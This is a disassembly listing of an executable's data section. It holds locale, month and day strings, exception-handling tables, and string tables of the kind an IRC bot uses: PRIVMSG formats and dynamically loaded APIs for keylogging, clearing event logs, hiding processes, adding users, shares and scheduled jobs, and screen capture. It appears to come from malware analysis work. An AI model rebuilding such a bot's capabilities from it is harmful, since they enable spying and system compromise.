aFinland db 'Finland',0 ; DATA XREF: ___:00444670o
aFinnish db 'Finnish',0 ; DATA XREF: ___:00444668o
aSpain db 'Spain',0 ; DATA XREF: ___:off_444644o
; ___:00444720o ...
align 4
aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: ___:off_44463Co
align 10h
aUnitedStates db 'united-states',0 ; DATA XREF: ___:00444B90o
align 10h
aUnitedKingdom db 'united-kingdom',0 ; DATA XREF: ___:00444B88o
align 10h
aTrinidadTobago db 'trinidad & tobago',0 ; DATA XREF: ___:00444B78o
align 4
aSouthKorea db 'south-korea',0 ; DATA XREF: ___:00444B70o
aSouthAfrica_0 db 'south-africa',0 ; DATA XREF: ___:00444B68o
align 10h
aSouthKorea_0 db 'south korea',0 ; DATA XREF: ___:00444B60o
aSouthAfrica_1 db 'south africa',0 ; DATA XREF: ___:00444B58o
align 4
aSlovak db 'slovak',0 ; DATA XREF: ___:00444B50o
align 4
aPuertoRico db 'puerto-rico',0 ; DATA XREF: ___:00444B48o
aPrChina db 'pr-china',0 ; DATA XREF: ___:00444B40o
align 4
aPrChina_0 db 'pr china',0 ; DATA XREF: ___:00444B38o
align 4
aNz db 'nz',0 ; DATA XREF: ___:00444B30o
align 4
aNewZealand db 'new-zealand',0 ; DATA XREF: ___:00444B28o
aHongKong db 'hong-kong',0 ; DATA XREF: ___:00444B20o
align 4
aHolland db 'holland',0 ; DATA XREF: ___:00444B18o
aGreatBritain db 'great britain',0 ; DATA XREF: ___:00444B10o
align 4
aEngland db 'england',0 ; DATA XREF: ___:00444B08o
aCzech db 'czech',0 ; DATA XREF: ___:00444B00o
align 4
aChina db 'china',0 ; DATA XREF: ___:00444AF8o
align 4
aBritain db 'britain',0 ; DATA XREF: ___:00444AF0o
aAmerica db 'america',0 ; DATA XREF: ___:off_444AE8o
aUsa db 'usa',0 ; DATA XREF: ___:00444DA0o
aUs db 'us',0 ; DATA XREF: ___:00444B98o
; ___:00444D98o
align 4
aUk db 'uk',0 ; DATA XREF: ___:00444B80o
; ___:00444D90o
align 10h
aSwiss db 'swiss',0 ; DATA XREF: ___:00444D88o
align 4
aSwedishFinland db 'swedish-finland',0 ; DATA XREF: ___:00444D80o
aSpanishVenezue db 'spanish-venezuela',0 ; DATA XREF: ___:00444D78o
align 4
aSpanishUruguay db 'spanish-uruguay',0 ; DATA XREF: ___:00444D70o
aSpanishPuertoR db 'spanish-puerto rico',0 ; DATA XREF: ___:00444D68o
aSpanishPeru db 'spanish-peru',0 ; DATA XREF: ___:00444D60o
align 10h
aSpanishParagua db 'spanish-paraguay',0 ; DATA XREF: ___:00444D58o
align 4
aSpanishPanama db 'spanish-panama',0 ; DATA XREF: ___:00444D50o
align 4
aSpanishNicarag db 'spanish-nicaragua',0 ; DATA XREF: ___:00444D48o
align 4
aSpanishModern db 'spanish-modern',0 ; DATA XREF: ___:00444D40o
align 4
aSpanishMexican db 'spanish-mexican',0 ; DATA XREF: ___:00444D38o
aSpanishHondura db 'spanish-honduras',0 ; DATA XREF: ___:00444D30o
align 4
aSpanishGuatema db 'spanish-guatemala',0 ; DATA XREF: ___:00444D28o
align 10h
aSpanishElSalva db 'spanish-el salvador',0 ; DATA XREF: ___:00444D20o
aSpanishEcuador db 'spanish-ecuador',0 ; DATA XREF: ___:00444D18o
aSpanishDominic db 'spanish-dominican republic',0 ; DATA XREF: ___:00444D10o
align 10h
aSpanishCostaRi db 'spanish-costa rica',0 ; DATA XREF: ___:00444D08o
align 4
aSpanishColombi db 'spanish-colombia',0 ; DATA XREF: ___:00444D00o
align 4
aSpanishChile db 'spanish-chile',0 ; DATA XREF: ___:00444CF8o
align 4
aSpanishBolivia db 'spanish-bolivia',0 ; DATA XREF: ___:00444CF0o
aSpanishArgenti db 'spanish-argentina',0 ; DATA XREF: ___:00444CE8o
align 4
aPortugueseBraz db 'portuguese-brazilian',0 ; DATA XREF: ___:00444CE0o
align 4
aNorwegianNynor db 'norwegian-nynorsk',0 ; DATA XREF: ___:00444CD8o
align 4
aNorwegianBokma db 'norwegian-bokmal',0 ; DATA XREF: ___:00444CD0o
align 4
aNorwegian db 'norwegian',0 ; DATA XREF: ___:00444CC8o
align 4
aItalianSwiss db 'italian-swiss',0 ; DATA XREF: ___:00444CC0o
align 4
aIrishEnglish db 'irish-english',0 ; DATA XREF: ___:00444CB8o
align 4
aGermanSwiss db 'german-swiss',0 ; DATA XREF: ___:00444CB0o
align 4
aGermanLuxembou db 'german-luxembourg',0 ; DATA XREF: ___:00444CA8o
align 4
aGermanLichtens db 'german-lichtenstein',0 ; DATA XREF: ___:00444CA0o
aGermanAustrian db 'german-austrian',0 ; DATA XREF: ___:00444C98o
aFrenchSwiss db 'french-swiss',0 ; DATA XREF: ___:00444C90o
align 10h
aFrenchLuxembou db 'french-luxembourg',0 ; DATA XREF: ___:00444C88o
align 4
aFrenchCanadian db 'french-canadian',0 ; DATA XREF: ___:00444C80o
aFrenchBelgian db 'french-belgian',0 ; DATA XREF: ___:00444C78o
align 4
aEnglishUsa db 'english-usa',0 ; DATA XREF: ___:00444C70o
aEnglishUs db 'english-us',0 ; DATA XREF: ___:00444C68o
align 4
aEnglishUk db 'english-uk',0 ; DATA XREF: ___:00444C60o
align 4
aEnglishTrinida db 'english-trinidad y tobago',0 ; DATA XREF: ___:00444C58o
align 4
aEnglishSouthAf db 'english-south africa',0 ; DATA XREF: ___:00444C50o
align 4
aEnglishNz db 'english-nz',0 ; DATA XREF: ___:00444C48o
align 4
aEnglishJamaica db 'english-jamaica',0 ; DATA XREF: ___:00444C40o
aEnglishIre db 'english-ire',0 ; DATA XREF: ___:00444C38o
aEnglishCaribbe db 'english-caribbean',0 ; DATA XREF: ___:00444C30o
align 4
aEnglishCan db 'english-can',0 ; DATA XREF: ___:00444C28o
aEnglishBelize db 'english-belize',0 ; DATA XREF: ___:00444C20o
align 4
aEnglishAus db 'english-aus',0 ; DATA XREF: ___:00444C18o
aEnglishAmerica db 'english-american',0 ; DATA XREF: ___:00444C10o
align 4
aDutchBelgian db 'dutch-belgian',0 ; DATA XREF: ___:00444C08o
align 4
aChineseTraditi db 'chinese-traditional',0 ; DATA XREF: ___:00444C00o
aChineseSingapo db 'chinese-singapore',0 ; DATA XREF: ___:00444BF8o
align 4
aChineseSimplif db 'chinese-simplified',0 ; DATA XREF: ___:00444BF0o
align 10h
aChineseHongkon db 'chinese-hongkong',0 ; DATA XREF: ___:00444BE8o
align 4
aChinese db 'chinese',0 ; DATA XREF: ___:00444BE0o
aChi db 'chi',0 ; DATA XREF: ___:00444BD8o
aChh db 'chh',0 ; DATA XREF: ___:00444BD0o
aCanadian db 'canadian',0 ; DATA XREF: ___:00444BC8o
align 10h
aBelgian db 'belgian',0 ; DATA XREF: ___:00444BC0o
aAustralian db 'australian',0 ; DATA XREF: ___:00444BB8o
align 4
aAmericanEnglis db 'american-english',0 ; DATA XREF: ___:00444BB0o
align 4
aAmericanEngl_0 db 'american english',0 ; DATA XREF: ___:00444BA8o
align 4
aAmerican db 'american',0 ; DATA XREF: ___:off_444BA0o
align 4
off_434D08 dd offset byte_50434F ; DATA XREF: sub_42C760:loc_42C7B3o
off_434D0C dd offset byte_504341 ; DATA XREF: sub_42C760+16o
dword_434D10 dd 69736863h, 632E657Ah, 0 ; DATA XREF: sub_42CE20+38o
dword_434D1C dd 657A6973h, 203D3E20h, 30h ; DATA XREF: sub_42CE20+2Co
dword_434D28 dd 4E512331h, 4E41h ; DATA XREF: sub_42DFD0:loc_42E18Fo
dword_434D30 dd 4E492331h, 46h ; DATA XREF: sub_42DFD0+19Bo
dword_434D38 dd 4E492331h, 44h ; DATA XREF: sub_42DFD0+168o
dword_434D40 dd 4E532331h, 4E41h, 6D6D3A48h, 73733Ah, 64646464h, 4D4D202Ch
; DATA XREF: sub_42DFD0+125o
; ___:00444E58o
dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
dd 4D41h, 65636544h, 7265626Dh, 0
aNovember db 'November',0 ; DATA XREF: ___:00444E40o
align 4
aOctober db 'October',0 ; DATA XREF: ___:00444E3Co
aSeptember db 'September',0 ; DATA XREF: ___:00444E38o
align 10h
aAugust db 'August',0 ; DATA XREF: ___:00444E34o
align 4
aJuly db 'July',0 ; DATA XREF: ___:00444E30o
align 10h
aJune db 'June',0 ; DATA XREF: ___:00444E2Co
align 4
aApril db 'April',0 ; DATA XREF: ___:00444E24o
align 10h
aMarch db 'March',0 ; DATA XREF: ___:00444E20o
align 4
aFebruary db 'February',0 ; DATA XREF: ___:00444E1Co
align 4
aJanuary db 'January',0 ; DATA XREF: ___:00444E18o
aDec db 'Dec',0 ; DATA XREF: ___:00444E14o
aNov db 'Nov',0 ; DATA XREF: ___:00444E10o
aOct db 'Oct',0 ; DATA XREF: ___:00444E0Co
aSep db 'Sep',0 ; DATA XREF: ___:00444E08o
aAug db 'Aug',0 ; DATA XREF: ___:00444E04o
aJul db 'Jul',0 ; DATA XREF: ___:00444E00o
aJun db 'Jun',0 ; DATA XREF: ___:00444DFCo
aMay db 'May',0 ; DATA XREF: ___:00444DF8o
; ___:00444E28o
aApr db 'Apr',0 ; DATA XREF: ___:00444DF4o
aMar db 'Mar',0 ; DATA XREF: ___:00444DF0o
aFeb db 'Feb',0 ; DATA XREF: ___:00444DECo
aJan db 'Jan',0 ; DATA XREF: ___:00444DE8o
aSaturday db 'Saturday',0 ; DATA XREF: ___:00444DE4o
align 4
aFriday db 'Friday',0 ; DATA XREF: ___:00444DE0o
align 10h
aThursday db 'Thursday',0 ; DATA XREF: ___:00444DDCo
align 4
aWednesday db 'Wednesday',0 ; DATA XREF: ___:00444DD8o
align 4
aTuesday db 'Tuesday',0 ; DATA XREF: ___:00444DD4o
aMonday db 'Monday',0 ; DATA XREF: ___:00444DD0o
; ___:00444BCCo ...
align 4
aSunday db 'Sunday',0 ; DATA XREF: ___:00444DCCo
align 10h
aSat db 'Sat',0 ; DATA XREF: ___:00444DC8o
aFri db 'Fri',0 ; DATA XREF: ___:00444DC4o
aThu db 'Thu',0 ; DATA XREF: ___:00444DC0o
aWed db 'Wed',0 ; DATA XREF: ___:00444DBCo
aTue db 'Tue',0 ; DATA XREF: ___:00444DB8o
aMon db 'Mon',0 ; DATA XREF: ___:00444DB4o
aSun db 'Sun',0 ; DATA XREF: ___:off_444DB0o
aAP db 'a/p',0 ; DATA XREF: sub_42F440:loc_42F633o
aAmPm db 'am/pm',0 ; DATA XREF: sub_42F440:loc_42F613o
align 4
aInithelp_c db 'inithelp.c',0 ; DATA XREF: sub_42F960+9Co
; sub_42F960+F1o
align 8
dword_434E88 dd 0FFFFFFFFh, 42FD27h, 42FD2Dh, 0FFFFFFFFh, 42FDA6h, 42FDACh
; DATA XREF: sub_42FC00+5o
dword_434EA0 dd 6D6F7477h, 766E6562h, 632Eh, 0 ; DATA XREF: sub_4301F0+44o
dword_434EB0 dd 0FFFFFFFFh, 4308ADh, 4308B3h, 0 ; DATA XREF: sub_4307B0+5o
dword_434EC0 dd 0FFFFFFFFh, 430A4Fh, 430A55h ; DATA XREF: sub_430950+5o
dword_434ECC dd 6D635F61h, 632E70h ; DATA XREF: sub_430B00+17Fo
aCchcount10Cchc db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
; DATA XREF: sub_430B00:loc_430C73o
align 8
dword_434F18 dd 0FFFFFFFFh, 430DDFh, 430DE5h, 0FFFFFFFFh, 430E7Dh, 430E83h
; DATA XREF: sub_430B00+5o
dword_434F30 dd 65746573h, 632E766Eh, 0 ; DATA XREF: sub_430F50+B2o
; sub_430F50+F2o ...
aStringTooLong db 'string too long',0 ; DATA XREF: sub_431490+1Fo
dd offset dword_435030
off_434F50 dd offset sub_431610 ; DATA XREF: sub_4314F0+44o
; sub_4315B0+1Fo ...
dd offset sub_431560
dd offset sub_431580
dd offset dword_435080
off_434F60 dd offset sub_431730 ; DATA XREF: sub_431640+16o
; sub_4316E0+Ao ...
dd offset sub_431560
dd offset sub_431700
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_431790+1Fo
dd offset dword_4350D0
off_434F88 dd offset sub_431870 ; DATA XREF: sub_4317F0+16o
; sub_431820+Ao ...
dd offset sub_431560
dd offset sub_431840
dd offset dword_435100
off_434F98 dd offset sub_431D30 ; DATA XREF: ___:00431D0Ao
; sub_431D60+Co ...
dd offset sub_431ED0
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_431ED0:loc_431EE8o
align 4
dd offset dword_435148
off_434FB8 dd offset sub_431F40 ; DATA XREF: sub_431F00+Ao
; ___:0043202Ao ...
align 10h
dword_434FC0 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_432050+Do
dd 3, 19930520h, 2 dup(0)
off_434FE0 dd offset off_445160 ; DATA XREF: ___:00435014o
; ___:00435068o ...
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_434FF8 dd offset off_445178 ; DATA XREF: ___:00435010o
; ___:00435064o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_434FF8
dd offset off_434FE0
dword_435018 dd 4 dup(0) ; DATA XREF: ___:00435040o
dd 2, 435010h
dword_435030 dd 3 dup(0) ; DATA XREF: ___:00434F4Co
dd offset off_445178
dd offset dword_435018+8
align 8
off_435048 dd offset off_445198 ; DATA XREF: ___:00435060o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_435048
dd offset off_434FF8
dd offset off_434FE0
dword_43506C dd 3 dup(0) ; DATA XREF: ___:00435090o
dd 3, 435060h
dword_435080 dd 3 dup(0) ; DATA XREF: ___:00434F5Co
dd offset off_445198
dd offset dword_43506C+4
align 8
off_435098 dd offset off_4451B8 ; DATA XREF: ___:004350B0o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_435098
dd offset off_434FF8
dd offset off_434FE0
dword_4350BC dd 3 dup(0) ; DATA XREF: ___:004350E0o
dd 3, 4350B0h
dword_4350D0 dd 3 dup(0) ; DATA XREF: ___:00434F84o
dd offset off_4451B8
dd offset dword_4350BC+4
dd offset off_434FE0
dword_4350E8 dd 4 dup(0) ; DATA XREF: ___:00435110o
dd 1, 4350E4h
dword_435100 dd 3 dup(0) ; DATA XREF: ___:00434F94o
dd offset off_445160
dd offset dword_4350E8+8
align 8
off_435118 dd offset off_4451D8 ; DATA XREF: ___:00435130o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_435118
dd 0
db 0 ; DATA XREF: ___:00435158o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 435130h
dword_435148 dd 3 dup(0) ; DATA XREF: ___:00434FB4o
dd offset off_4451D8
dd offset unk_435138
align 10h
dword_435160 dd 19930520h, 2, 435180h, 5 dup(0) ; DATA XREF: ___:loc_4320BFo
dd 0FFFFFFFFh, 4320A8h, 0
dd offset sub_4320A0
dword_435190 dd 19930520h, 2, 4351B0h, 5 dup(0) ; DATA XREF: ___:loc_4320D9o
dd 0FFFFFFFFh, 4320C9h, 0
dd offset loc_4320D1
dword_4351C0 dd 19930520h, 2, 4351E0h, 1, 4351F0h, 3 dup(0) ; DATA XREF: ___:loc_4320E4o
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 435208h, 4 dup(0)
dd offset loc_40C22B
dd 0
dd offset off_445160
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 431DD0h, 2 dup(0)
dd offset off_445178
dd 0
dword_435244 dd 0FFFFFFFFh, 0 ; DATA XREF: ___:00444824o
; ___:00444C84o
dd 1Ch, 4314F0h, 2 dup(0)
dd offset off_445198
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 431760h, 0
dword_435278 dd 3, 435258h, 435238h, 435218h ; DATA XREF: ___:00435294o
dword_435288 dd 0 ; DATA XREF: sub_431490+3Fo
; sub_431700+15o
dd offset sub_4316E0
dd 0
dd offset dword_435278
dword_435298 dd 19930520h, 1, 4352B8h, 5 dup(0) ; DATA XREF: SEH_431490o
dd 0FFFFFFFFh, 4320F0h
dword_4352C0 dd 19930520h, 1, 4352E0h, 5 dup(0) ; DATA XREF: SEH_4314F0o
dword_4352E0 dd 0FFFFFFFFh, 432110h, 2, 435238h, 435218h, 0 ; DATA XREF: ___:00435304o
dword_4352F8 dd 0 ; DATA XREF: sub_431580+15o
dd offset sub_4315B0
dd 0
dd offset dword_4352E0+8
dword_435308 dd 19930520h, 1, 435328h, 5 dup(0) ; DATA XREF: SEH_4315B0o
dd 0FFFFFFFFh, 432130h
dword_435330 dd 19930520h, 1, 435350h, 5 dup(0) ; DATA XREF: SEH_431670o
dd 0FFFFFFFFh, 432150h, 0
dd offset off_4451B8
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 4318A0h, 0
dword_435378 dd 3, 435358h, 435238h, 435218h ; DATA XREF: ___:00435394o
dword_435388 dd 0 ; DATA XREF: sub_431790+3Fo
; sub_431840+15o
dd offset sub_431820
dd 0
dd offset dword_435378
dword_435398 dd 19930520h, 1, 4353B8h, 5 dup(0) ; DATA XREF: SEH_431790o
dd 0FFFFFFFFh, 432170h, 310h dup(0)
dword_436000 dd 0 ; DATA XREF: ___:00417929o
dd offset loc_402776
dd offset loc_40BD33
dd offset sub_4318D0
dword_436010 dd 0 ; DATA XREF: ___:00417924o
dword_436014 dd 0 ; DATA XREF: ___:00417917o
dd offset sub_418D40
dd offset sub_419CB0
dd offset sub_420320
dd offset sub_42A7E0
dword_436028 dd 0 ; DATA XREF: ___:loc_417912o
dword_43602C dd 0 ; DATA XREF: sub_4179C0+76o
dd offset sub_418E70
dword_436034 dd 0 ; DATA XREF: sub_4179C0:loc_417A31o
dword_436038 dd 0 ; DATA XREF: sub_4179C0+88o
dd offset sub_42A800
dword_436040 dd 4 dup(0) ; DATA XREF: sub_4179C0:loc_417A43o
dword_436050 dd 80000002h, 436D00h, 80000002h, 436D30h, 80000001h, 436D00h
; DATA XREF: sub_401000+7o
dword_436068 dd 6272h ; DATA XREF: sub_401000+63o
; sub_4010AB+Bo
aNotice db 'NOTICE',0 ; DATA XREF: sub_401445+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401445+16o
aS db '%s',0 ; DATA XREF: sub_401445+3Bo
align 10h
aSSS db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401445+58o
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4014E0+Ao
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_4014E0+23o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4014E0+2Bo
align 4
aProcess32first db 'Process32First',0 ; DATA XREF: sub_4014E0+38o
align 4
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_4014E0+45o
align 4
aModule32first db 'Module32First',0 ; DATA XREF: sub_4014E0+52o
align 4
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4014E0+5Fo
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4014E0+6Co
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_4014E0+79o
align 4
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_4014E0+86o
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4014E0+93o
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4014E0+A0o
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_4014E0:loc_4015E8o
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_4014E0:loc_401615o
align 4
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_4014E0+14Ao
align 4
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_4014E0+152o
aIswindow db 'IsWindow',0 ; DATA XREF: sub_4014E0+15Fo
align 10h
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_4014E0+16Co
align 10h
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_4014E0+179o
align 10h
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_4014E0+186o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_4014E0+193o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_4014E0+1A0o
align 4
aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_4014E0:loc_4016D8o
align 4
aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_4014E0+200o
aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_4014E0+20Do
align 4
aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_4014E0+21Ao
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4014E0:loc_40173Fo
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_4014E0+270o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_4014E0+278o
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_4014E0+285o
align 4
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_4014E0+292o
align 4
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_4014E0+29Fo
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_4014E0+2ACo
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_4014E0+2B9o
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_4014E0+2C6o
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4014E0:loc_4017F2o
align 4
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4014E0+31Ao
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4014E0+327o
align 4
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_4014E0:loc_401837o
align 4
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_4014E0+35Fo
align 4
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_4014E0+36Co
align 4
aControlservice db 'ControlService',0 ; DATA XREF: sub_4014E0+379o
align 4
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_4014E0+386o
align 4
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_4014E0+393o
align 10h
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_4014E0+3A0o
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4014E0+3ADo
align 10h
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_4014E0:loc_4018E5o
align 10h
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_4014E0:loc_40190Do
align 4
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_4014E0+43Eo
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_4014E0+446o
align 4
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_4014E0+453o
align 10h
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_4014E0+460o
align 10h
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_4014E0+46Do
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_4014E0+47Ao
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_4014E0+487o
align 4
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_4014E0+494o
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_4014E0+4A1o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_4014E0+514o
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_4014E0+525o
align 10h
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_4014E0+52Do
align 4
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_4014E0+53Ao
align 4
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_4014E0+547o
align 4
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_4014E0+554o
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4014E0+561o
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4014E0+56Eo
align 4
aSocket db 'socket',0 ; DATA XREF: sub_4014E0+57Bo
align 4
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4014E0+588o
aConnect db 'connect',0 ; DATA XREF: sub_4014E0+595o
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4014E0+5A2o
align 4
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4014E0+5AFo
align 4
aHtons db 'htons',0 ; DATA XREF: sub_4014E0+5BCo
align 10h
aHtonl db 'htonl',0 ; DATA XREF: sub_4014E0+5C9o
align 4
aNtohs db 'ntohs',0 ; DATA XREF: sub_4014E0+5D6o
align 10h
aNtohl db 'ntohl',0 ; DATA XREF: sub_4014E0+5E3o
align 4
aSend db 'send',0 ; DATA XREF: sub_4014E0+5F0o
align 10h
aSendto db 'sendto',0 ; DATA XREF: sub_4014E0+5FDo
align 4
aRecv db 'recv',0 ; DATA XREF: sub_4014E0+60Ao
align 10h
aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4014E0+617o
align 4
aBind db 'bind',0 ; DATA XREF: sub_4014E0+629o
align 4
aSelect db 'select',0 ; DATA XREF: sub_4014E0+631o
align 4
aListen db 'listen',0 ; DATA XREF: sub_4014E0+63Eo
align 4
aAccept db 'accept',0 ; DATA XREF: sub_4014E0+64Bo
align 4
aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4014E0+658o
align 4
aGetsockname db 'getsockname',0 ; DATA XREF: sub_4014E0+665o
aGethostname db 'gethostname',0 ; DATA XREF: sub_4014E0+672o
aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4014E0+67Fo
align 10h
aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4014E0+68Co
align 10h
aGetpeername db 'getpeername',0 ; DATA XREF: sub_4014E0+699o
aClosesocket db 'closesocket',0 ; DATA XREF: sub_4014E0+6A6o
aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4014E0:loc_401CBFo
aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4014E0+7F0o
align 10h
aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4014E0+7F8o
aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4014E0+805o
align 10h
aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4014E0+812o
align 4
aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4014E0+81Fo
align 4
aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4014E0+82Co
align 4
aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4014E0+839o
align 4
aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4014E0+846o
align 10h
aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4014E0+853o
align 4
aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4014E0+860o
aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4014E0+8D2o
align 4
aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4014E0:loc_401DDFo
align 10h
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4014E0+90Co
align 10h
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4014E0+914o
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4014E0+921o
align 10h
aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4014E0:loc_401E3Eo
align 10h
aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4014E0+96Fo
aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4014E0+977o
aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4014E0+984o
align 4
aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4014E0+991o
align 4
aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4014E0+99Eo
align 10h
aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4014E0+9ABo
align 10h
aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4014E0+9B8o
align 4
aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4014E0+9C5o
align 4
aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4014E0+9D2o
aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4014E0+9DFo
align 4
aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4014E0+9ECo
align 4
aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4014E0+9F9o
aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4014E0:loc_401F5Ao
align 4
aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4014E0+A87o
align 10h
aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4014E0+A8Fo
align 10h
aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4014E0:loc_401FA4o
align 10h
aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4014E0+AD1o
align 10h
aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4014E0+AD9o
align 4
